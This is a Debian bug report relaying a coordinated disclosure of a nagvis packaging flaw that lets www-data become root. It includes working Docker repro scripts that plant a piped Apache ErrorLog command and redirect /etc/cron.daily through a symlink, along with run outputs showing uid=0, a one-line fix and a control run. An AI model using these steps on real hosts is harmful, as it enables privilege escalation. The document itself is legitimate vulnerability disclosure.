Source: nagvis
Version: 1:1.9.34-1
Severity: important
Tags: security

As reported by Özgün Kültekin <[email protected]>:

On Sun, Nov 29, 2026 at 02:30:41PM -0800, Özgün Kültekin wrote:
> Hi,
> 
> Code running as www-data on a host with the nagvis package becomes
> root at the next Apache reload. We showed this on 2026-11-28 with the
> current archive packages and default debconf answers on Debian 13,
> Debian 12, Debian unstable and Ubuntu 24.04.
> 
> The postinst runs "setperm www-data www-data 0755 /etc/nagvis" on
> every configure. That directory holds apache2.conf, which the package
> enables through /etc/apache2/conf-available/nagvis.conf, a symlink to
> ../../nagvis/apache2.conf. The file is root-owned, but www-data owns
> the directory, so it can move a copy with an added piped ErrorLog over
> the original. At the next graceful reload, the root Apache parent
> starts that logger as root. Debian's logrotate config for apache2
> reloads it daily. In our runs root ran apache2ctl graceful.
> 
> Same cause, second path: www-data swaps /etc/nagvis/maps for a
> symlink, and the chown in the next configure follows it. In our runs
> /etc/cron.daily became www-data:www-data after dpkg-reconfigure
> nagvis.
> 
> Affected (run on 2026-11-28): nagvis 1:1.9.47-1 on Debian 13,
> 1:1.9.34-1 on Debian 12, 1:1.10.7-1 on Debian unstable and 1:1.9.40-1
> on Ubuntu 24.04. Every attack run ended with uid=0 from a process
> whose parent is the root "apache2 -k start".
> 
> Requirements: code execution as www-data, then an Apache graceful
> reload by root. We rate it high, 7.0
> (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
> 
> To reproduce: repro.sh attack debian:13 (Docker; also a control mode).
> It installs apache2 and nagvis in a container, plays www-data and
> root, and writes uid=0(root) to /root/PROOF. The control run applies
> fix.diff to the installed postinst and re-runs it: both plants fail
> with "Permission denied" and nothing runs as root.
> 
> Fix: keep /etc/nagvis owned by root and give www-data only the
> directories nagvis writes (maps, conf.d, profiles), or move those out
> of /etc. fix.diff is the one-line postinst change.
> 
> Attached: details.txt, repro.txt (repro.sh, plant-www-data.sh and
> fix.diff) and runs.txt (the five run outputs, unedited), each folder
> as one text file.
> 
> Please keep this private until a fix is out. We are happy to test packages.
> 
> Thanks,
> ozgun kultekin, wakefield (wakefield.co)

> ===== run-attack-debian-12.txt =====
> ### image debian:12, mode attack, 2026-11-28T09:42:49Z
> PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
> apache2 2.4.71-1~deb12u1
> nagvis 1:1.9.34-1
>   nagvis/monitoring_system: icinga
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 Aug 30  2022 /etc/nagvis/maps
> lrwxrwxrwx 1 root root   25 Aug 30  2022 
> /etc/apache2/conf-available/nagvis.conf -> ../../nagvis/apache2.conf
> lrwxrwxrwx 1 root root   29 Nov 28 09:43 
> /etc/apache2/conf-enabled/nagvis.conf -> ../conf-available/nagvis.conf
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> ### postinst lines that set the owner of /etc/nagvis
> 47:    setperm www-data www-data 0755 /etc/nagvis
> 48:    setperm www-data www-data 0755 /etc/nagvis/maps
> 49:    setperm www-data www-data 0755 /etc/nagvis/conf.d
> 50:    setperm www-data www-data 0755 /etc/nagvis/profiles
> ### daily reload in /etc/logrotate.d/apache2
> 15:   postrotate
> 16-           if pgrep -f ^/usr/sbin/apache2 > /dev/null; then
> 17-                   invoke-rc.d apache2 reload 2>&1 | logger -t 
> apache2.logrotate
> 18-           fi
> ### Apache processes
> root     /usr/sbin/apache2 -k start
> www-data /usr/sbin/apache2 -k start
> ### as www-data: replace /etc/nagvis/apache2.conf
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> -rw-r--r-- 1 www-data www-data 2576 Nov 28 09:43 /etc/nagvis/apache2.conf
> ErrorLog "|/bin/sh -c \"id > /root/PROOF; ps -o user,pid,ppid,args -p $PPID 
> >> /root/PROOF; exec cat >/dev/null\""
> ### as root: apache2ctl graceful
> -rw-r--r-- 1 root root 124 Nov 28 09:43 /root/PROOF
> uid=0(root) gid=0(root) groups=0(root)
> USER         PID    PPID COMMAND
> root       13615       1 /usr/sbin/apache2 -k start
> ### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily
> www-data
> drwxr-xr-x 1 root     root     4096 Nov 28 09:43 /etc/cron.daily
> lrwxrwxrwx 1 www-data www-data   15 Nov 28 09:43 /etc/nagvis/maps -> 
> /etc/cron.daily
> ### as root: dpkg-reconfigure nagvis
> drwxr-xr-x 1 www-data www-data 4096 Nov 28 09:43 /etc/cron.daily
> ### end
> 
> 
> ===== run-attack-debian-13.txt =====
> ### image debian:13, mode attack, 2026-11-28T09:42:49Z
> PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
> apache2 2.4.71-1~deb13u1
> nagvis 1:1.9.47-1
>   nagvis/monitoring_system: icinga
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 May 28  2025 /etc/nagvis/maps
> lrwxrwxrwx 1 root root   25 May 28  2025 
> /etc/apache2/conf-available/nagvis.conf -> ../../nagvis/apache2.conf
> lrwxrwxrwx 1 root root   29 Nov 28 09:43 
> /etc/apache2/conf-enabled/nagvis.conf -> ../conf-available/nagvis.conf
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> ### postinst lines that set the owner of /etc/nagvis
> 47:    setperm www-data www-data 0755 /etc/nagvis
> 48:    setperm www-data www-data 0755 /etc/nagvis/maps
> 49:    setperm www-data www-data 0755 /etc/nagvis/conf.d
> 50:    setperm www-data www-data 0755 /etc/nagvis/profiles
> ### daily reload in /etc/logrotate.d/apache2
> 15:   postrotate
> 16-           if pgrep -f ^/usr/sbin/apache2 > /dev/null; then
> 17-                   invoke-rc.d apache2 reload 2>&1 | logger -t 
> apache2.logrotate
> 18-           fi
> ### Apache processes
> root     /usr/sbin/apache2 -k start
> www-data /usr/sbin/apache2 -k start
> ### as www-data: replace /etc/nagvis/apache2.conf
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> -rw-r--r-- 1 www-data www-data 2576 Nov 28 09:43 /etc/nagvis/apache2.conf
> ErrorLog "|/bin/sh -c \"id > /root/PROOF; ps -o user,pid,ppid,args -p $PPID 
> >> /root/PROOF; exec cat >/dev/null\""
> ### as root: apache2ctl graceful
> -rw-r--r-- 1 root root 124 Nov 28 09:43 /root/PROOF
> uid=0(root) gid=0(root) groups=0(root)
> USER         PID    PPID COMMAND
> root       13442       1 /usr/sbin/apache2 -k start
> ### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily
> www-data
> drwxr-xr-x 1 root     root     4096 Nov 28 09:43 /etc/cron.daily
> lrwxrwxrwx 1 www-data www-data   15 Nov 28 09:43 /etc/nagvis/maps -> 
> /etc/cron.daily
> ### as root: dpkg-reconfigure nagvis
> drwxr-xr-x 1 www-data www-data 4096 Nov 28 09:43 /etc/cron.daily
> ### end
> 
> 
> ===== run-attack-debian-sid.txt =====
> ### image debian:sid, mode attack, 2026-11-28T09:42:49Z
> PRETTY_NAME="Debian GNU/Linux forky/sid"
> apache2 2.4.71-1
> nagvis 1:1.10.7-1
>   nagvis/monitoring_system: icinga
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 Oct 30 14:38 /etc/nagvis/maps
> lrwxrwxrwx 1 root root   25 Oct 30 14:38 
> /etc/apache2/conf-available/nagvis.conf -> ../../nagvis/apache2.conf
> lrwxrwxrwx 1 root root   29 Nov 28 09:43 
> /etc/apache2/conf-enabled/nagvis.conf -> ../conf-available/nagvis.conf
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> ### postinst lines that set the owner of /etc/nagvis
> 47:    setperm www-data www-data 0755 /etc/nagvis
> 48:    setperm www-data www-data 0755 /etc/nagvis/maps
> 49:    setperm www-data www-data 0755 /etc/nagvis/conf.d
> 50:    setperm www-data www-data 0755 /etc/nagvis/profiles
> ### daily reload in /etc/logrotate.d/apache2
> 15:   postrotate
> 16-           if pgrep -f ^/usr/sbin/apache2 > /dev/null; then
> 17-                   invoke-rc.d apache2 reload 2>&1 | logger -t 
> apache2.logrotate
> 18-           fi
> ### Apache processes
> root     /usr/sbin/apache2 -k start
> www-data /usr/sbin/apache2 -k start
> ### as www-data: replace /etc/nagvis/apache2.conf
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> -rw-r--r-- 1 www-data www-data 2576 Nov 28 09:43 /etc/nagvis/apache2.conf
> ErrorLog "|/bin/sh -c \"id > /root/PROOF; ps -o user,pid,ppid,args -p $PPID 
> >> /root/PROOF; exec cat >/dev/null\""
> ### as root: apache2ctl graceful
> -rw-r--r-- 1 root root 124 Nov 28 09:43 /root/PROOF
> uid=0(root) gid=0(root) groups=0(root)
> USER         PID    PPID COMMAND
> root       13837       1 /usr/sbin/apache2 -k start
> ### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily
> www-data
> drwxr-xr-x 1 root     root     4096 Nov 28 09:43 /etc/cron.daily
> lrwxrwxrwx 1 www-data www-data   15 Nov 28 09:43 /etc/nagvis/maps -> 
> /etc/cron.daily
> ### as root: dpkg-reconfigure nagvis
> drwxr-xr-x 1 www-data www-data 4096 Nov 28 09:43 /etc/cron.daily
> ### end
> 
> 
> ===== run-attack-ubuntu-24.04.txt =====
> ### image ubuntu:24.04, mode attack, 2026-11-28T09:42:49Z
> PRETTY_NAME="Ubuntu 24.04.5 LTS"
> apache2 2.4.58-1ubuntu8.20
> nagvis 1:1.9.40-1
>   nagvis/monitoring_system: icinga
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 Jan 10  2024 /etc/nagvis/maps
> lrwxrwxrwx 1 root root   25 Jan 10  2024 
> /etc/apache2/conf-available/nagvis.conf -> ../../nagvis/apache2.conf
> lrwxrwxrwx 1 root root   29 Nov 28 09:43 
> /etc/apache2/conf-enabled/nagvis.conf -> ../conf-available/nagvis.conf
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> ### postinst lines that set the owner of /etc/nagvis
> 47:    setperm www-data www-data 0755 /etc/nagvis
> 48:    setperm www-data www-data 0755 /etc/nagvis/maps
> 49:    setperm www-data www-data 0755 /etc/nagvis/conf.d
> 50:    setperm www-data www-data 0755 /etc/nagvis/profiles
> ### daily reload in /etc/logrotate.d/apache2
> 15:   postrotate
> 16-           if pgrep -f ^/usr/sbin/apache2 > /dev/null; then
> 17-                   invoke-rc.d apache2 reload 2>&1 | logger -t 
> apache2.logrotate
> 18-           fi
> ### Apache processes
> root     /usr/sbin/apache2 -k start
> www-data /usr/sbin/apache2 -k start
> ### as www-data: replace /etc/nagvis/apache2.conf
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> -rw-r--r-- 1 www-data www-data 2576 Nov 28 09:43 /etc/nagvis/apache2.conf
> ErrorLog "|/bin/sh -c \"id > /root/PROOF; ps -o user,pid,ppid,args -p $PPID 
> >> /root/PROOF; exec cat >/dev/null\""
> ### as root: apache2ctl graceful
> -rw-r--r-- 1 root root 124 Nov 28 09:43 /root/PROOF
> uid=0(root) gid=0(root) groups=0(root)
> USER         PID    PPID COMMAND
> root       12325       1 /usr/sbin/apache2 -k start
> ### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily
> www-data
> drwxr-xr-x 1 root     root     4096 Nov 28 09:43 /etc/cron.daily
> lrwxrwxrwx 1 www-data www-data   15 Nov 28 09:43 /etc/nagvis/maps -> 
> /etc/cron.daily
> ### as root: dpkg-reconfigure nagvis
> drwxr-xr-x 1 www-data www-data 4096 Nov 28 09:43 /etc/cron.daily
> ### end
> 
> 
> ===== run-control-debian-13.txt =====
> ### image debian:13, mode control, 2026-11-28T09:42:49Z
> PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
> apache2 2.4.71-1~deb13u1
> nagvis 1:1.9.47-1
>   nagvis/monitoring_system: icinga
> drwxr-xr-x 6 www-data www-data 4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 May 28  2025 /etc/nagvis/maps
> lrwxrwxrwx 1 root root   25 May 28  2025 
> /etc/apache2/conf-available/nagvis.conf -> ../../nagvis/apache2.conf
> lrwxrwxrwx 1 root root   29 Nov 28 09:43 
> /etc/apache2/conf-enabled/nagvis.conf -> ../conf-available/nagvis.conf
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> ### postinst lines that set the owner of /etc/nagvis
> 47:    setperm www-data www-data 0755 /etc/nagvis
> 48:    setperm www-data www-data 0755 /etc/nagvis/maps
> 49:    setperm www-data www-data 0755 /etc/nagvis/conf.d
> 50:    setperm www-data www-data 0755 /etc/nagvis/profiles
> ### daily reload in /etc/logrotate.d/apache2
> 15:   postrotate
> 16-           if pgrep -f ^/usr/sbin/apache2 > /dev/null; then
> 17-                   invoke-rc.d apache2 reload 2>&1 | logger -t 
> apache2.logrotate
> 18-           fi
> ### Apache processes
> root     /usr/sbin/apache2 -k start
> www-data /usr/sbin/apache2 -k start
> ### control: apply fix.diff to the installed postinst, re-run it
> patching file var/lib/dpkg/info/nagvis.postinst
> drwxr-xr-x 6 root     root     4096 Nov 28 09:43 /etc/nagvis
> drwxr-xr-x 2 www-data www-data 4096 May 28  2025 /etc/nagvis/maps
> ### as www-data: replace /etc/nagvis/apache2.conf
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> drwxr-xr-x 6 root root 4096 Nov 28 09:43 /etc/nagvis
> cp: cannot create regular file '/etc/nagvis/.new': Permission denied
> -rw-r--r-- 1 root root 2461 Nov 28 09:43 /etc/nagvis/apache2.conf
> 
> ### as root: apache2ctl graceful
> NO PROOF
> ### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily
> www-data
> mv: cannot move '/etc/nagvis/maps' to '/etc/nagvis/maps.old': Permission 
> denied
> drwxr-xr-x 1 root     root     4096 Nov 28 09:43 /etc/cron.daily
> drwxr-xr-x 2 www-data www-data 4096 May 28  2025 /etc/nagvis/maps
> ### as root: dpkg-reconfigure nagvis
> drwxr-xr-x 1 root root 4096 Nov 28 09:43 /etc/cron.daily
> ### end
> 
> 

> ===== fix.diff =====
> --- a/var/lib/dpkg/info/nagvis.postinst
> +++ b/var/lib/dpkg/info/nagvis.postinst
> @@ -46,3 +46,3 @@
>  update_permissions() {
> -    setperm www-data www-data 0755 /etc/nagvis
> +    setperm root root 0755 /etc/nagvis
>      setperm www-data www-data 0755 /etc/nagvis/maps
> 
> 
> ===== plant-www-data.sh =====
> #!/bin/sh
> # Runs as www-data. /etc/nagvis belongs to www-data, so www-data may replace 
> the root-owned apache2.conf in it.
> id
> ls -ld /etc/nagvis
> cp /etc/nagvis/apache2.conf /etc/nagvis/.new &&
> echo 'ErrorLog "|/bin/sh -c \"id > /root/PROOF; ps -o user,pid,ppid,args -p 
> $PPID >> /root/PROOF; exec cat >/dev/null\""' >> /etc/nagvis/.new &&
> mv -f /etc/nagvis/.new /etc/nagvis/apache2.conf
> ls -l /etc/nagvis/apache2.conf
> tail -1 /etc/nagvis/apache2.conf
> 
> 
> ===== repro.sh =====
> #!/bin/bash
> # nagvis packaging: www-data replaces /etc/nagvis/apache2.conf (the enabled 
> Apache config) and the root Apache
> # parent runs a piped logger from it at the next graceful reload.
> #
> # Usage: ./repro.sh attack|control [image]     image: debian:13 (default), 
> debian:12, debian:sid, ubuntu:24.04
> #   attack : install apache2 + nagvis from the archive (noninteractive, 
> default debconf answers), start Apache,
> #            act as www-data (plant-www-data.sh), then act as root: 
> apache2ctl graceful (the same reload that
> #            /etc/logrotate.d/apache2 runs daily). Second part: www-data 
> swaps /etc/nagvis/maps for a symlink and
> #            root runs dpkg-reconfigure nagvis.
> #   control: same, but the installed postinst first gets fix.diff 
> (/etc/nagvis root-owned) and is re-run.
> # Needs Docker. Everything happens in a throwaway container with no host 
> mounts except this folder (read-only).
> set -u
> MODE=${1:?attack|control}; IMG=${2:-debian:13}
> HERE=$(cd "$(dirname "$0")" && pwd)
> C=nagvis-$MODE-$$
> docker run -d --name "$C" --hostname demo -v "$HERE":/kit:ro "$IMG" sleep 
> infinity >/dev/null || exit 1
> trap 'docker rm -f "$C" >/dev/null' EXIT
> echo "### image $IMG, mode $MODE, $(date -u +%FT%TZ)"
> docker exec "$C" bash -c '
> export DEBIAN_FRONTEND=noninteractive
> apt-get update -qq >/dev/null 2>&1
> apt-get install -y -qq patch apache2 >/tmp/i.log 2>&1 || { tail -20 
> /tmp/i.log; exit 1; }
> apt-get install -y -qq nagvis >>/tmp/i.log 2>&1 || { tail -20 /tmp/i.log; 
> exit 1; }
> grep PRETTY_NAME /etc/os-release
> dpkg-query -W -f "\${Package} \${Version}\n" nagvis apache2
> debconf-show nagvis | grep monitoring_system
> ls -ld /etc/nagvis /etc/nagvis/maps
> ls -l /etc/nagvis/apache2.conf /etc/apache2/conf-enabled/nagvis.conf 
> /etc/apache2/conf-available/nagvis.conf
> echo "### postinst lines that set the owner of /etc/nagvis"
> grep -n "setperm .* /etc/nagvis" /var/lib/dpkg/info/nagvis.postinst
> echo "### daily reload in /etc/logrotate.d/apache2"
> grep -n -A3 postrotate /etc/logrotate.d/apache2
> apache2ctl start 2>/dev/null; sleep 2
> echo "### Apache processes"
> ps -eo user,cmd | grep "[a]pache2 -k" | head -2
> ' || exit 1
> if [ "$MODE" = control ]; then
>   echo "### control: apply fix.diff to the installed postinst, re-run it"
>   docker exec "$C" bash -c 'cd / && patch -p1 < /kit/fix.diff && 
> DEBIAN_FRONTEND=noninteractive dpkg-reconfigure nagvis >/dev/null 2>&1; ls 
> -ld /etc/nagvis /etc/nagvis/maps'
> fi
> echo "### as www-data: replace /etc/nagvis/apache2.conf"
> docker exec -u www-data "$C" sh /kit/plant-www-data.sh
> echo "### as root: apache2ctl graceful"
> docker exec "$C" bash -c 'apache2ctl graceful 2>/dev/null; sleep 3; if [ -e 
> /root/PROOF ]; then ls -l /root/PROOF; cat /root/PROOF; else echo "NO PROOF"; 
> fi'
> echo "### part 2, as www-data: replace /etc/nagvis/maps with a symlink to 
> /etc/cron.daily"
> docker exec -u www-data "$C" sh -c 'id -un; mv /etc/nagvis/maps 
> /etc/nagvis/maps.old && ln -s /etc/cron.daily /etc/nagvis/maps; ls -ld 
> /etc/nagvis/maps /etc/cron.daily' 2>&1
> echo "### as root: dpkg-reconfigure nagvis"
> docker exec "$C" bash -c 'DEBIAN_FRONTEND=noninteractive dpkg-reconfigure 
> nagvis >/dev/null 2>&1; ls -ld /etc/cron.daily'
> echo "### end"
> 
> 

> Debian/Ubuntu nagvis: www-data becomes root through the Apache config in the 
> www-data-owned /etc/nagvis
> =======================================================================================================
> 
> Summary
> -------
> The nagvis postinst gives /etc/nagvis to www-data on every configure:
> 
>     update_permissions():  setperm www-data www-data 0755 /etc/nagvis
> 
> The same directory holds apache2.conf, which the postinst writes and enables 
> with the default debconf
> answer (nagvis/monitoring_system=icinga): the package ships
> /etc/apache2/conf-available/nagvis.conf as a symlink to 
> ../../nagvis/apache2.conf, and the postinst enables it.
> apache2.conf itself is root-owned, but www-data owns the directory, so 
> www-data can replace the file.
> 
> www-data copies apache2.conf, adds a piped ErrorLog line and moves the copy 
> over the original. At the
> next graceful reload the root Apache parent reads the new config and starts 
> the piped logger as root.
> Debian's /etc/logrotate.d/apache2 runs "invoke-rc.d apache2 reload" in its 
> postrotate (shown in each
> run). In our runs root ran "apache2ctl graceful" by hand.
> 
> A second problem has the same cause: www-data renames /etc/nagvis/maps and 
> puts a symlink in its place.
> The next configure runs setperm www-data www-data 0755 /etc/nagvis/maps, the 
> chown follows the symlink,
> and the target directory belongs to www-data. In our runs /etc/cron.daily 
> became www-data:www-data after
> "dpkg-reconfigure nagvis". We stopped there and did not wait for cron.
> 
> Requirements
> ------------
> - Code execution as www-data on a host with apache2 and nagvis installed from 
> the archive with the
>   default debconf answers. (In the runs, www-data is played with docker exec 
> -u www-data; no web
>   application was attacked.)
> - A graceful reload of Apache by root (daily from logrotate; we ran 
> apache2ctl graceful). For the second
>   problem, a configure of nagvis by root (we ran dpkg-reconfigure nagvis).
> 
> Rating: high 7.0, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
> 
> Runs (2026-11-28, Docker containers from the official images, archive 
> packages, default answers)
> ------------------------------------------------------------------------------------------------
> See runs/. Each file is the unedited output of repro/repro.sh.
> 
> run file                      release               nagvis       apache2      
>          result
> run-attack-debian-13.txt      Debian 13 (trixie)    1:1.9.47-1   
> 2.4.71-1~deb13u1      uid=0 from the piped logger; /etc/cron.daily 
> www-data-owned
> run-attack-debian-12.txt      Debian 12 (bookworm)  1:1.9.34-1   
> 2.4.71-1~deb12u1      uid=0 from the piped logger; /etc/cron.daily 
> www-data-owned
> run-attack-debian-sid.txt     Debian unstable       1:1.10.7-1   2.4.71-1     
>          uid=0 from the piped logger; /etc/cron.daily www-data-owned
> run-attack-ubuntu-24.04.txt   Ubuntu 24.04.5 LTS    1:1.9.40-1   
> 2.4.58-1ubuntu8.20    uid=0 from the piped logger; /etc/cron.daily 
> www-data-owned
> run-control-debian-13.txt     Debian 13 (trixie)    1:1.9.47-1 with fix.diff 
> applied   Permission denied for both plants, NO PROOF
> 
> In every attack run /root/PROOF is root:root, holds uid=0(root), and its 
> parent process is the root
> "/usr/sbin/apache2 -k start".
> 
> Suggested fix
> -------------
> Keep /etc/nagvis owned by root. Only the leaf directories nagvis writes 
> (maps, conf.d, profiles) need to
> belong to www-data; better still, move them out of /etc (for example under 
> /var/lib/nagvis). repro/fix.diff
> is the one-line change to the postinst used in the control run: after it is 
> applied and the postinst is
> re-run, /etc/nagvis is root:root, both plants fail with "Permission denied", 
> and graceful starts no
> logger.
> 
> Reproduce
> ---------
> repro/repro.sh attack debian:13      (also debian:12, debian:sid, 
> ubuntu:24.04)
> repro/repro.sh control debian:13     (fix.diff applied to the installed 
> postinst, then re-run)
> Needs Docker and network access to the distro archive. A successful attack 
> run ends the graceful step with
> "uid=0(root)" and the root "/usr/sbin/apache2 -k start" as parent.

Reply via email to